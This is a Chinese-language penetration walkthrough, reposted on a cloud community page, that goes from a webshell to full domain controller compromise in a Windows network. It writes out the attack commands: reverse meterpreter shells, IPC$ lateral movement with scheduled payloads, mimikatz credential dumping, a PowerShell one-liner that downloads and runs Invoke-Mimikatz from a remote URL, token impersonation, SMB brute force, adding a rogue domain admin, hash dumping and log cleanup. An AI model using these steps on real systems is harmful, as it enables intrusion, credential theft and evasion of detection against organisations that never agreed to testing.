一次完整的從webshell到域控的探索之路

來源:互聯網
上載者:User

標籤:使用者權限   管理所   uac   伺服器許可權   程式   選擇   使用方法   表示   .exe   

前言

內網滲透測試資料基本上都是很多大牛的文章告訴我們思路如何,但是對於我等小菜一直是雲裡霧裡。

於是使用什麼樣的工具才內網才能暢通無阻,成了大家一直以來的渴求。

今天小菜我本著所有師傅們無私分享的精神,特將三年內求師傅,求妹子,求神器所得,經過整理後,關鍵的知識點寫出來。

相關知識點總結如下:

  • 免殺 payload 的產生,請使用 Veil
  • msf 在 meterpreter 下的提權嘗試
  • msf 在 meterpreter 下的 bypassuac 嘗試
  • 內網滲透測試過程中的資訊關聯
  • meterpreter 的路由添加以及相關掃描
  • Powershell 在 meterpreter 下面的使用
  • Meterpreter 的 post 模組使用
  • Msf 的 custom 自己產生的 payload 的使用
  • 進程注入竊取令牌

 

其實重點不在於知識的多少,大家只需關注比較重要的連接點。

分享為了方便大家以後在安全脈搏一起交流,一起學習,一起進步(一起Zhuangbility)。

首先 shell 是別人給我的,也不是這裡介紹的重點,所以在此忽略。

滲透測試的環境詳細如下:

  • A Bastion Host(webshell 所在機器):windows server 2012
  • B Bastion Host:windows 2008(powershell 掃描機器)
  • C Bastion Host:有域管理進程的機器 windows server 2012
  • D Bastion Host若干

 

第一步 反彈   meterpreter

其實每一次的滲透測試開始並不像我們想象的那麼順利,而這一次的開始也同樣意味著

我們一次不同的旅程,整個的滲透測試過程我花了差不多四個小時的時間,大部分的時間都是花在解決這些問題之上。

 

1 webshell 無法上傳 exe

本來想著直接上傳 meterpreter 的 payload 的直接反彈的結果發現上傳不了,可以選擇 powershell 的 meterpreter 的模組來實現

2 meterpreter 的 reverse_tcp 模組反彈不成功

Msf 的 payload 的反彈,剛開始我使用的模組是 meterpreter 的 reverse_tcp 的模組來嘗試,發現可以反彈,但是一直無法建立成功 meterpreter,

說明一定有監控發現了我們的行為。於是在此基礎上嘗試 meterpreter 的 reverse_https 模組,順利反彈成功

詳細遇到的問題和解決過程的圖如下所示:

圖 1-1 使用 payload

圖 1-2 設定 https 的 payload

圖 1-3 反彈成功

 

第二步 嘗試提權   windows   server   2012

當我們首先拿到一個 (許可權不足的)Webshell 的時候想到的第一件事是什嗎?那肯定是提權,我也想大家想的一樣,首先開始了我們的提權之旅。

首先使用 msf 的 search 模組 ms15,會得到一些漏洞利用的模組。我嘗試了 ms15_05 以及 ms15_078 全部以失敗結束。

詳細的圖如下所示:

圖 2-1 提權嘗試失敗

第三步 嘗試當前帳號   Bypassuac 測試

剛開始一直忘說了一件事,那就是 webshell 本身的許可權,我們目前 webshell是 jsp 的,具有當前的一個普通域使用者的許可權。

我於是也想到了是不是可以通過bypassuac 來完成提權呢,但是測試的結果可想而知,又一次失敗了。

目前詳細的情況如下:

圖 3-1 當前的使用者權限

圖 3-2 bypassuac 嘗試

 

第四步 相關資訊收集

當我們此時提權不成功的情況下,我們還是可以利用當前的使用者進行域滲透測試的。那

麼目前我們具有以下幾種方式進行滲透測試域:

1 收集域裡面的相關資訊,包括所有的使用者,所有的電腦,以及相關關鍵的組的資訊。

常使用到的命令如下:

net user /domainNet group "domain computers" /domainnet group "domain admins"  /domain #查看網域系統管理員net localgroup administratorsnet view /domain

 

2 收集 sqlserver 的相關資訊,如果當前Bastion Host使用了 sql server 的話,恰巧使用者是當前的域使用者的話,我們在此可以使用 sqlcmd 的資訊收集,以及掃描攻擊。

在這裡只是提到,因為篇幅問題,暫時不做深一層討論

 

根據我的滲透測試經驗,我在此只是做了最簡單的資訊收集,首先使用 sqlcmd 的擷取sql server 的所有機器列表、當前Bastion Host的機器名、當前Bastion Host的 IP、

還有 net view 來做簡單的資訊收集。

詳細的圖如下所示:

圖 4-1 SQLCMD 擷取資訊

 

圖 4-2 當前的機器名

圖 4-3 net view 相關的機器名

 

第五步 資訊分析,成功擷取一台伺服器許可權

當我們資訊收集完成以後,我們要開始考慮接下來要做什麼。

首先我們來看一下我們目前擁有什麼:

  • A 一個域使用者的進程許可權,當前Bastion Host是 windows server 2012,提權失敗。(假如能提權成功,我們依然是無法擷取到使用者的純文字密碼)
  • B 當前的Bastion Host的使用者名稱
  • C 當前 sqlcmd 擷取到的同樣安裝了 sql server 機器的名稱

目前我們的思路有:

  • 1 使用 meterpreter的目前許可權來添加路由進行弱口令掃描
  • 2 使用 powershell 對內網進行掃描(本次滲透測試使用了,但是在這裡暫時沒有使用),具體來說時間比較慢一點,當然此時此刻powershell 絕對算是一個內網滲透測試又一神器
  • 3 使用當前的使用者權限架設 socks4a,然後利用第一步我們擷取到的資訊 socks 進行內網掃描
  • 4 使用目前使用者的許可權,對域裡面的電腦進行 IPC,或者 DIR 溢出(也就是 dir 其他電腦的 c 盤,如果成功表示有許可權)批量測試

 

通過上面的分析,此時我選擇了最偷懶的一種方法,進行當前Bastion Host的機器名和 net view 的機器名進行對比,找出來非常相似的幾個機器名,手動測試。

當前速度也是非常快的,在嘗試了兩次的時候就成功了。

詳細過程如下:

Net use \\ip\c$

Tasklist /v /s ip

圖 5-1 net use 測試成功

圖 5-2 tasklist 執行成功

 

第六步 域資訊收集

首先在第四步已經說了域相關的資訊收集,這裡就不做過多的介紹了,這次是在第五步的基礎上做的相關收集,相關知識點如下:

 

1 域資訊收集,其中用到的命令如下:

Net group "domain admins" /domainNet group /domainNet group "domain controllers" /domainNet group "enterprise admins" /domain

 

2 ipc$入侵,大家相關的話自行百度經典 IPC$入侵

Net use \\ip\c$

Copy bat.bat \\ip\c$ (其中 bat.bat 是 powershell 的 meterpreter)

Net time \\ip

At \\ip time c:\bat.bat

 

3 上傳抓明文工具 64.exe(mimikatz 神器),大家都懂的

 

Upload /home/64.exe c:\

Shell

Cd \

64.Exe

 

4 查看抓取到的使用者的詳細資料

Net use xxx /domain

5 使用 meterpreter 的 ps,查看相關使用者的進程列表

6 嘗試使用域令牌假冒

Use incongnito

list_token -u

Impersonate_token xxxxxx

 

我在這次滲透測試過程中嘗試上面講到的所有知識點,詳細的如下:

圖 6-1 查看域管

圖 6-2 查看域組

圖 6-3 查看網域控制站

圖 6-4 查看企業管理組

圖 6-5 共用 copy 資料

圖 6-6 經典 ipc$

圖 6-7 反彈 meterpreter 成功

圖 6-8 上傳檔案

圖 6-9 查看伺服器資訊

圖 6-10 抓取密碼

圖 6-11 查看域使用者權限

圖 6-12 查看域使用者權限

圖 6-13 竊取令牌嘗試

圖 6-14 查看主域控的 IP

 

第七步   SMB 快速擴張控制許可權

此時此刻,作為讀者你的在想什麼呢?是不是當看到第六步的時候就可以去睡覺了,畢竟已經淩晨五點了。

但是此時此刻作為一個專業求師傅,求妹子,求神器的人可不這麼想。

我們要做最後的衝刺,因為黎明的鐘聲已經敲響。

 

先來看一下我們當前擁有什麼許可權:

有兩台Bastion Host,兩個使用者權限

目前我們要做的事情很簡單,就是快速的在內網擴大控制許可權,那麼如何去做,其實很簡單的,就是快速的掃描以完成我們的夢想。

 

具體如下:

  • 1 使用當前擷取到的兩個使用者權限,快速的進行掃描。(掃描哪裡了,看到第六步最後一張圖 6-14 了沒,就是域控的 IP 段)
  • 2 smb_login 掃描
  • 3 連接埠轉寄進內網

 

目前思路我們已經有了,神器 msf 終於迎來了自己夢想惡天堂。讓我們愉快的玩耍吧。

詳細知識點如下:

  • 1 msf 添加路由 route add ip mask sessionid
  • 2 smb_login 模組或者使用 psexec_scanner(這個模組需要你自己搜尋一下)
  • 3 meterpreter 連接埠轉寄
  • 4 msf 的 socks4a 模組(這次滲透測試沒使用到,但是並不代表它不美好)

 

圖 7-1 設定 smb_login 的參數

圖 7-2 爆破成功的機器

圖 7-3 查看已經擷取到的許可權

圖 7-4 連接埠轉寄和目前擁有的許可權

 

第八步   Powershell 擷取域控管理員線上的機器

 

內網滲透測試不得不說到兩大神器:msf 和 powershell,但是看大家基本上都是分開來使用的,或者說大家在一次滲透測試的過程中很少遇到,今天作為讀者的你有福了。

 

首先來講講 powershell 的在內網滲透測試中不僅能掃,能爆,能轉寄,當然還能做更多的事情,

一般使用到的模組有下面三個:

  • 1 Empire 據說是神器,也確實是神器,我沒使用過,暫時不多說
  • 2 PowerUp 據說提權神器,也確實是神器,我很少使用。也暫時不多說
  • 3 PowerView 據說是域滲透神器,也確實是神器,我一直用,非常漂亮

來說說 powershell 的使用,其實也很簡單,只是大家在用的過程中一般沒有太多的注意,

主要有三種方式來調用:

 

1 當然是下載到本地執行,詳細使用方法如後面串連:powershell "IEX (New-ObjectNet.WebClient).DownloadString(‘http://is.gd/oeoFuI‘); Invoke-Mimikatz -DumpCreds"

2 第二種方式是把 powershell 檔案上傳到Bastion Host本地執行, powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1; Invoke-UserHunter}"

3 上傳到對方本地,然後 Import-Module 匯入,使用PowerView 的所有模組使用其實很簡單,直接調用方法,大家看看下面的圖就知道了。

如果你能看到這裡開始你的 powershell 之旅,內網將開始變得簡單。

 

圖 8-1 powerview 的相關方法

 

廢話講了這麼多,下面開始我們的實戰,其實很簡單,我真的想說很簡單,簡單到一句話搞定。

Powerview 中的 Invoke-UserHunter 是擷取當前網域系統管理員線上登入的機器。

這次的旅程我們就用它來完成進一步的資訊擷取。詳細如:

 

圖 8-1 powershell 執行命令

圖 8-2 powerview 的效果展示

 

第九步 域控管理員權限的擷取 (windows2012 許可權 )

在經過第八步之後,身為讀者的你是不是感覺這次收穫有一點點,內網域滲透測試再也不是那麼一籌莫展了呢。

神器過後還是神器,又見它 windows server 2012,雖然域管理線上,但是我們的抓密碼神器陽痿了,總不能修改註冊表,等管理員再次登入吧。

目前來看看我們遇到的問題,通過 powershell 成功擷取到相關的域控管理員線上的一台機器 windows server 2012,並且用這台機器的許可權,那麼接下來我們去搞定域控。

 

思路如下:

  • 1 修改註冊表等待域控管理員再次登入來抓取(黃花菜都會涼的)
  • 2 通過 PowerUp 的進程來注入擷取域許可權(沒使用過暫時放棄),當然此處也可以寫類似外掛的功能注入進程擷取許可權
  • 3 msf 的令牌竊取功能(這個可以很容易實現)

 

知道思路,那麼接下來就開始我們愉快的旅程吧。我要求師傅,求妹子,求神器,專業求到域控去:

1 同樣使用 ipc 經典入侵手法,反彈 meterpreter,

Getsysttem 許可權

Ps 查看域管理所在的進程

Migrate pid 注入進程

 

2 繼續經典的 IPC$到域控

Meterpreter 下面 shell

Net use \\域控 ip\c$

Net time \\域控 ip

Copy bat.bat \\域控 ip\c$

At \\域控 ip time c:\bat.bat(意料之外的錯誤,提示 schtasks.exe,不熟){安全脈搏小編註:08及以上at命令就廢棄啦,都用schtasks定時計劃任務}

 

3 通往成功的路不只有一條,添加域管賬戶

Net user demo demo /ad /domain

Net group "domain admins" demo /ad /domain

到了此刻,我們已經擁有域管許可權了。

詳細的如下:

 

圖 9-1 注入域管進程,串連域控

圖 9-2 添加域管理帳號

圖 9-3 查看域管理是否成功

 

第十步 域控我來了 (msf   psexec 反彈   shell)

一看時間,淩晨七點了,早上的太陽要升起來了。此時此刻你的心情是怎麼樣呢。該晨起跑步了吧。東方的太陽就要升起了,域控的許可權也終於到了了。

先講思路,登入網域控其實有很多方式的,下面我說一下我能知道的幾種吧,相信大家也大家也都知道的:

  • 1 連接埠轉寄或者 socks 登入網域控遠端桌面
  • 2 登入對方內網的一台電腦使用 psexec 來反彈 shell
  • 3 使用 msf 的 psexec 反彈 meterpreter

 

反彈需要注意要用到的知識,我們這裡採用的是 psesexc 來反彈 meterpreter,其中涉及到的知識如下:

  • 1 msf 中 psexec 模組的使用
  • 2 custom 模組的使用,配合 meterpreter,在 payload 不免殺的情況下如何使用自己 Veil產生的 payload

 

詳細的使用過程如:

圖 10-1 psexec 執行測試

圖 10-2 psexec 預設反彈不成功

圖 10-3 meterpreter 的 https 模組反彈成功

圖 10-4 域控的系統資訊

 

第十一步   Meterpreter 擷取所有使用者的   hash

有了域的許可權之後,如果我們還想進行深層次的控制,那麼 dumphash 是必不可少的。

首先來看看我們需要的知識:

  • 1 msf 有兩個模組可以使用,一個是 hashdump,此模組只能匯出本地的 hash,大家測試就可以知道了,另外一個是 smart_hashdump,此模組可以用來匯出域使用者的 hash.
  • 2 powershell 有可以直接匯出的模組,大家自行嘗試一下
  • 3 wce,mimikatz 等神器的使用

在這裡我採用的是 msf 的 smart_hashdump 的模組。在此需要注意的是要想使使用此模組匯出 hash,必須要使用 system 的許可權才行。

詳細的過程如:

 

圖 11-1 smart_hashdump 模組的使用

 

第十二步 曲折的探索之路

這裡是整理一下之前用到的一些技術,和走過的一些彎路。文檔到這差不多算是完成了

一個從 webshell 到域控的探索之路算是完成了,當然在這裡我把過程中走的一些彎路還有不足點指出來,歡迎大家的指正,共同學習。

 

圖 12-1 session 控製圖

根據上面的圖知道,我現在控制的 Session 一共有 5 個,其中有四個是必須要擷取的,分別為 session1,session2 session4,session5。

其中 session1 為 webshell 反彈所獲得,第二個session2 是資訊分析擷取到的,session4 為擷取網域系統管理員所擷取,session5 為域。

其中 session3就是我所走過的彎路,浪費了時間。

之後我們必須為了更好更快速有效完成滲透測試,平時努力練劍。儘力做到不出劍則已,出劍則見血。

 

第十三步 我輕輕的來了,我又輕輕的走了,管理員,再見 (清理 )

作為一次比較成功的友情測試,我們必須要做到來無影,去無蹤。所以收尾工作,也將悄悄展開。

 

涉及到相關的知識點:

  • 1 刪除之前添加的域管理帳號
  • 2 刪除所有的使用過程中的工具
  • 3 刪除自己所有的操作記錄
  • 4 關閉所有的 meterpreter

在此過程中我們一共上傳了兩個檔案,一個 bar.bat,一個 64 位的 mimikatz 抓密碼工具,

直接刪除即可。

 

圖 13-1 刪除使用者

圖 13-2 關閉所有的 session

 

總結

總結說點什麼好呢。還是先喊口號吧------“求妹子,求師傅,求神器”。

感謝三年多以來為我默默分享的師傅們,感謝妹子在我做這次友情測試的時候,她一直靜靜的陪在我這邊,

感謝這些年求來的各種神器,沒有這些資源的支援,我將不會完成這次的友情測試。

作為一名滲透測試愛好者,我們一直在努力的追求著心中那個美麗的夢想;

作為一名程式員,我們就是想簡單的 coding。人生如此美好,大家何不聯手,一起分享美好。

 

目錄

域滲透測試教程(windows server 2012)............................................................................................ 1

前言.............................................................................................................................................  2

第一步 反彈 meterpreter.......................................................................................................... 2

第二步 嘗試提權 windows server 2012...................................................................................  4

第三步 嘗試當前帳號 Bypassuac 測試.................................................................................... 5

第四步 相關資訊收集............................................................................................................... 6

第五步 資訊分析,成功擷取一台伺服器許可權......................................................................  8

第六步 域資訊收集................................................................................................................. 10

第七步 SMB 快速擴張控制許可權............................................................................................  16

第八步 Powershell 擷取域控管理員線上的機器....................................................................  18

第九步 域控管理員權限的擷取(windows2012 許可權)..........................................................  20

第十步 域控我來了(msf psexec 反彈 shell)........................................................................... 22

第十一步 Meterpreter 擷取所有使用者的 hash....................................................................... 24

第十二步 曲折的探索之路..................................................................................................... 25

第十三步 我輕輕的來了,我又輕輕的走了,管理員,再見(清理).................................. 26

總結...........................................................................................................................................  27

一次完整的從webshell到域控的探索之路

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.